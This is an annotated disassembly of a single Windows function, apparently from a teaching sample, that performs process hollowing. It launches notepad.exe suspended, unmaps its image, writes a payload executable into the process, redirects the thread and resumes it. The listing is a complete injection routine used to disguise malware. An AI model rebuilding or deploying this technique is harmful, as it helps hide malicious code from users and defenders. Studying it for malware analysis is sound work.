Function at 0x140001150
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Get file size
Read file on windows
Resume thread
Use process replacement

Disassembly:
sub rsp, 0x608
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x160], 0x10000b
lea rax, str.C:Users_adminDesktoplecturedropperprocess_hollowmsg.exe
mov qword [rsp + 0x98], rax
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0xc0]
call fcn.140002010
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x80]
call fcn.140002010
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.notepad.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, dword [rsp + 0x90]
lea rcx, str.pid____d_n
call fcn.140001540
mov rdx, qword [rsp + 0x98]
lea rcx, str.dst___s_n
call fcn.140001540
call fcn.14000346c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x68], rax
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xb0]
mov r8d, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rsp + 0x54]
lea rcx, str.read_:__d_n
call fcn.140001540
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x130]
mov rcx, qword [rsp + 0x88]
call sub.ntdll.dll_NtGetContextThread
mov rax, qword [rsp + 0x1b8]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0xa0]
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call sub.ntdll.dll_NtReadVirtualMemory
mov rax, qword [rsp + 0x58]
mov rax, qword [rax + 0x30]
cmp qword [rsp + 0xa0], rax
jne 0x140001364
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x80]
call sub.ntdll.dll_NtUnmapViewOfSection
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x58]
mov r9d, dword [rax + 0x54]
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x80]
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [rsp + 0x50], 0
jmp 0x1400013d6
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x50], eax
jae 0x140001461
mov rax, qword [rsp + 0xa8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x50]
imul rcx, rcx, 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x70]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x78]
add rdx, rcx
mov rcx, rdx
mov qword [rsp + 0x20], 0
mov rdx, qword [rsp + 0x70]
mov r9d, dword [rdx + 0x10]
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0x80]
call sub.ntdll.dll_NtWriteVirtualMemory
jmp 0x1400013cc
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x58]
add rax, 0x30
mov rcx, qword [rsp + 0x1b8]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0x80]
call sub.ntdll.dll_NtWriteVirtualMemory
lea rdx, [rsp + 0x130]
mov rcx, qword [rsp + 0x88]
call sub.ntdll.dll_NtSetContextThread
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
add rsp, 0x608
ret